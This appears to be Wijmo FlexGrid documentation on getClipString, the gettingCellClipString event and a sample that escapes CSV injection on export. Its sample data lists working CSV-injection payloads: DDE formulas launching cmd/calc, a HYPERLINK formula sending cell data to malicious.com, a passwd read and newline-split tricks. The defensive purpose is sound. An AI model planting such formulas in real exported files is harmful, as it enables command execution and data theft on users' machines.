[]
Wijmo FlexGrid control provides ability to gets the content of a CellRange
as a string suitable for copying to the clipboard or exporting to CSV (comma-separated values) files.
import { FlexGrid, CellRange } from '@mescius/wijmo.grid';
const theGrid = new FlexGrid('#theGrid', {
itemsSource: data
});
// get clip string from the specific range of grid
const clipString = theGrid.getClipString(new CellRange(0, 0, 2, 2));
console.log(clipString);
// the result of clipString will be like:
0 Japan Stereos
1 Greece Cars
2 Italy Cars
You can control the output format by configuring the second parameter of this API.
For detailed usage, refer to getClipString
and ClipStringOptions
.
The process of obtaining the clip string involves extracting the value of each cell individually and then stitching them together before outputting.
Therefore, Wijmo also provides users with an opportunity to process these values after extracting each cell's value by subscribing to the gettingCellClipString
event.
This will be beneficial for scenarios such as data reprocessing or preventing CSV injection.
import { FlexGrid } from '@mescius/wijmo.grid';
import { saveFile } from '@mescius/wijmo';
const grid = new FlexGrid('#theGrid', {
itemsSource: getData()
});
// process cell clip string
const convertMap = ['One', 'Two', 'Three'];
grid.gettingCellClipString.addHandler((grid, e) => {
const cellData = e.data;
e.data = convertMap[cellData];
});
// get clip string
const range = grid.viewRange;
const clipString = grid.getClipString(range);
console.log(clipString);
// the result of clipString will be like:
One Japan Stereos
Two Greece Cars
Three Italy Cars
This sample demonstrates how to export results that prevent CSV injection through gettingCellClipString
.
import { FlexGrid } from '@mescius/wijmo.grid';
import { saveFile } from '@mescius/wijmo';
const grid = new FlexGrid('#theGrid', {
itemsSource: getData()
});
// handle CSV injection with event
grid.gettingCellClipString.addHandler((grid, e) => {
e.data = escapeCSVInjection(e.data);
});
// export to CSV file
const clipStringOption = ClipStringOptions.CSV | ClipStringOptions.QuoteAll;
const range = grid.viewRange;
const clipString = grid.getClipString(range, clipStringOption);
saveFile(clipString, "export", 'text/csv');
// core logic for escaping CSV injection
function escapeCSVInjection(content) {
// handle the normal formula
const dangerousStarts = ["=", "+", "-", "@"];
const needEscape = dangerousStarts.some(char => content.indexOf(char) === 0);
if (needEscape) {
return `'${content}`;
}
// handle the formula with " before
const containsQuote = dangerousStarts.some(char => content.indexOf('"' + char) === 0);
if (containsQuote) {
return content.replace(/^"([=\+\-@])/, (match, $1) => '"\'' + $1);
}
// handle the split and wrap situations
const containsWrap = content.indexOf(";") > -1 || content.indexOf("%0A") > -1;
if (containsWrap) {
return content.replace(/(\;|%0A)([=\+\-@])/g, (match, $1, $2) => "'" + $2);
}
return content;
}
function getData() {
const dangerInfos = [
"=cmd|' /C calc.exe'!A0", // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
"+cmd|' /C calc.exe'!A0", // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
"-cmd|' /C calc.exe'!A0", // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
"@SUM(cmd|'/c calc'!A0)", // dynamic data exchange, it will open the external application, such as calculator, powershell (DDE)
'=HYPERLINK("http://malicious.com/"&A1,"Click Me")', // malicious formula, it will open phishing website
'=../etc/passwd', // stealing information
'=IF(TRUE,IF(TRUE,IF(TRUE,...)))', // infinite loop
';+2-1', // split execution
' %0A=2-1' // execute on the next line
];
const data = [];
for (let i = 0; i < dangerInfos.length; i++) {
data.push({
id: i,
formula: dangerInfos[i]
});
}
return data;
}